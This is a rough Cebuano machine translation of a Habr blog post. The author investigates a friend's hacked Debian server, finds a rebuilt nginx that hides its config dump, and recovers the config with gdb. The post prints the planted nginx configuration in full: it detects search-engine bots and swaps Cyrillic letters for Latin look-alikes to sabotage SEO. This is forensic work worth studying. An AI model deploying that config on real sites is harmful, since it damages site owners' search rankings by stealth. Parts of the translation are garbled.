Kung ang 'a' dili parehas sa 'a'. Sa agianan sa usa ka hack

Usa ka dili maayo nga istorya nahitabo sa usa sa akong mga higala. Apan ingon nga dili maayo nga nahimo alang kang Mikhail, kini ingon nga makalingaw alang kanako.

I must say nga ang akong amiga medyo UNIX-user: maka-install sa sistema mismo MySQL, Flp ug paghimo og yano nga mga setting nginx.
Ug siya adunay usa ka dosena o usa ug tunga nga mga website nga gipahinungod sa mga gamit sa pagtukod.

Usa sa mga site nga gipahinungod sa mga chainsaw lig-on nga naglingkod sa TOP sa mga search engine. Kini nga site usa ka non-commercial reviewer, apan adunay usa nga naanad sa pag-atake niini. Nga DDoS, unya brute force, unya nagsulat sila og malaw-ay nga mga komentaryo ug nagpadala og mga pag-abuso sa host ug sa RKN.
Sa kalit, ang tanan mikalma ug kini nga kalma nahimong dili maayo, ug ang site nagsugod sa hinay-hinay nga pagbiya sa mga tumoy nga linya sa mga resulta sa pagpangita.

Kung ang 'a' dili parehas sa 'a'. Sa haya sa usa ka hack

Mao nay panultihon, unya ang istorya mismo sa admin.

Hapit na makatulog sa dihang mibagting ang telepono: “San, dili ka motan-aw sa akong server? Para nako nga gi-hack ko, dili nako mapamatud-an, apan ang pagbati wala mobiya kanako sa ikatulo nga semana. Tingali panahon na nga ako magpatambal alang sa paranoia?”

Ang misunod mao ang tunga sa oras nga panaghisgot nga mahimong i-summarize sama sa mosunod:

  • ang yuta alang sa pag-hack kay tabunok kaayo;
  • ang tig-atake mahimong makakuha og mga katungod sa superuser;
  • ang pag-atake (kung kini nahitabo) gipunting nga espesipiko sa kini nga site;
  • natul-id na ang mga lugar sa problema ug kinahanglan nimo nga masabtan kung adunay bisan unsang pagsulod;
  • ang hack dili makaapekto sa code sa site ug mga database.

Mahitungod sa katapusang punto.

Kung ang 'a' dili parehas sa 'a'. Sa haya sa usa ka hack

Ang puti nga frontend IP lamang ang nagtan-aw sa kalibutan. Walay pagbinayloay tali sa mga backend ug sa frontend gawas sa http(s), ang mga tiggamit/password lahi, walay mga yawe nga giilisan. Sa gray nga mga adres, ang tanan nga mga pantalan gawas sa 80/443 sirado. Ang mga puting backend IP nahibal-an lamang sa duha ka tiggamit, nga hingpit nga gisaligan ni Mikhail.

Gi-install sa atubangan Debian 9 ug sa panahon nga ang tawag gihimo, ang sistema nahimulag gikan sa kalibutan pinaagi sa usa ka eksternal nga firewall ug mihunong.

“Ok, hatagi kog access,” nakahukom ko nga dili na matulog sulod sa usa ka oras. "Makita nako sa akong kaugalingon nga mga mata."

Dinhi ug dugang pa:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Pagpangita usa ka posible nga hack

Gisugdan nako ang server, una sa rescue-mode. Gi-mount nako ang mga disk ug gipakli kini awt-mga troso, kasaysayan, mga log sa sistema, ug uban pa, kung mahimo, gisusi nako ang mga petsa sa paghimo sa file, bisan kung nasabtan nako nga ang usa ka normal nga cracker mahimo’g "gisilhig" pagkahuman sa iyang kaugalingon, ug si Misha "natunob-tunoban" kadaghan samtang gipangita niya ang iyang kaugalingon. .

Nagsugod ko sa normal nga mode, wala pa gyud kasabot sa akong pangitaon, nagtuon ko sa mga config. Una sa tanan, interesado ko nginx tungod kay, sa kinatibuk-an, wala nay lain sa frontend gawas niini.
Ang mga config gamay ra, maayo ang pagkahan-ay sa usa ka dosena nga mga file, tan-awon ra nako kini iring'oh sa usag usa. Ang tanan ingon og limpyo, apan dili nimo mahibal-an kung adunay akong gimingaw naglakip sa, tugoti ako sa paghimo sa usa ka bug-os nga listahan:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Wala ko kasabot: “Asa ang listahan?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Ang ikaduha nga pangutana gidugang sa listahan nga pangutana: "Ngano nga usa ka karaan nga bersyon sa nginx?"

Dugang pa, ang sistema nagtuo nga ang pinakabag-o nga bersyon na-install:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

nanawag ko:
- Misha, nganong nagtipon ka pag-usab nginx?
- Paghulat, wala ako kahibalo kung unsaon pagbuhat niini!
-Sige, matulog ka na nga...

Nginx kini klaro nga gitukod pag-usab ug ang output sa listahan gamit ang "-T" gitago sa usa ka rason. Wala nay bisan unsang pagduhaduha bahin sa pag-hack ug mahimo nimong dawaton kini ug (tungod kay gipulihan ni Misha ang server sa usa ka bag-o gihapon) hunahunaa nga nasulbad ang problema.

Ug sa tinuud, tungod kay adunay nakakuha sa mga katungod gamut'ah, nan kini makatarunganon nga buhaton pag-instalar pag-usab sa sistema, ug walay kapuslanan ang pagpangita kon unsay sayop didto, apan niining higayona ang pagkamausisaon mipildi sa pagkatulog. Paano naton mahibaluan kon ano ang gusto nila nga itago sa aton?

Atong sulayan pagsubay:

$ strace nginx -T

Atong tan-awon, klaro nga walay igong linya sa trace a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Para lang sa kalingawan, itandi nato ang mga nakaplagan.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Sa akong hunahuna bahin sa code /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

gidala sa porma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

busa ang listahan pinaagi sa "-T" wala gipakita.

Pero unsaon man nato pagtan-aw sa atong config?

Kung husto ang akong hunahuna ug ang problema naa ra sa variable ngx_dump_config atong sulayan ang pag-instalar niini gamit gdb, maayo na lang kay naay yawe --uban-cc-opt -g karon ug naglaum nga ang pag-optimize -O2 dili kini makapasakit kanato. Sa samang higayon, kay wala ko kabalo unsaon ngx_dump_config mahimong iproseso sa kaso nga 'T':, dili namo tawgon kini nga block, apan i-install kini gamit ang kaso 't':

Ngano nga magamit nimo ang '-t' ingon man ang '-T'Pagproseso sa Block kung(ngx_dump_config) mahitabo sa sulod kung(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Siyempre, kung ang code giusab sa niini nga bahin ug dili sa kaso nga 'T':, unya ang akong pamaagi dili molihok.

Sulayi ang nginx.confKay nasulbad na ang problema sa eksperimento, naestablisar nga gikinahanglan ang minimum nga configuration aron mogana ang malware nginx matang:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Atong gamiton kini sa mubo sa artikulo.

Ilunsad ang debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Ang mga lakang:

  • pagbutang ug breakpoint sa function punoan ()
  • ilunsad ang programa
  • usba ang bili sa variable nga nagtino sa output sa config ngx_dump_config=1
  • ipadayon/taposa ang programa

Sama sa among nakita, ang tinuod nga config lahi sa amon, gipili namon ang usa ka parasitic nga piraso gikan niini:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Atong tan-awon kon unsay nagakahitabo dinhi sa pagkahan-ay.

Determinado Ahente sa GumagamitYandex/google ni:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Ang mga panid sa serbisyo wala iapil wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ug alang niadtong nahulog ubos sa duha sa mga kondisyon sa ibabaw

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sa text html-bag-o nga mga panid 'O' sa 'o' и 'A' sa 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Husto kana, ang bug-os nga pagkamaayo mao kana 'a' != 'a' basta 'o' != 'o':

Kung ang 'a' dili parehas sa 'a'. Sa haya sa usa ka hack

Sa ingon, ang mga bot sa search engine nakadawat, imbes sa normal nga 100% nga Cyrillic nga teksto, giusab nga basura nga lasaw sa Latin 'a' и 'o'. Dili ko mangahas sa paghisgot kung giunsa kini nakaapekto sa SEO, apan dili tingali nga ang ingon nga paghugpong sa mga sulat adunay positibo nga epekto sa mga posisyon sa mga resulta sa pagpangita.

Unsa may akong isulti, guys nga adunay imahinasyon.

mga pakisayran

Pag-debug sa GDB
gdb(1) — Linux man page
strace(1) — Linux man page
Nginx - Module ngx_http_sub_module
Mahitungod sa mga gabas, chainsaw ug electric saws

Source: www.habr.com

Idugang sa usa ka comment